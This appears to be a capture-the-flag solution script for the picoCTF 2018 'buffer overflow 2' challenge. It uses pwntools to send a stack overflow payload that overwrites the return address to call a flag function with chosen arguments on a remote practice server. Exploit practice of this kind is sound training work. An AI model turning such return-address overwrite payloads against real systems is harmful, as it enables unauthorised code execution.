picoctf_2018_buffer overflow 2

from pwn import *
io = remote("node4.buuoj.cn",26128)
#io=process('./PicoCTF_2018_buffer_overflow_2')
flag_addr = 0x080485CB
payload = b'a'*(0x6c)+p32(0x08048470)+p32(flag_addr)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
io.sendline(payload)
io.interactive()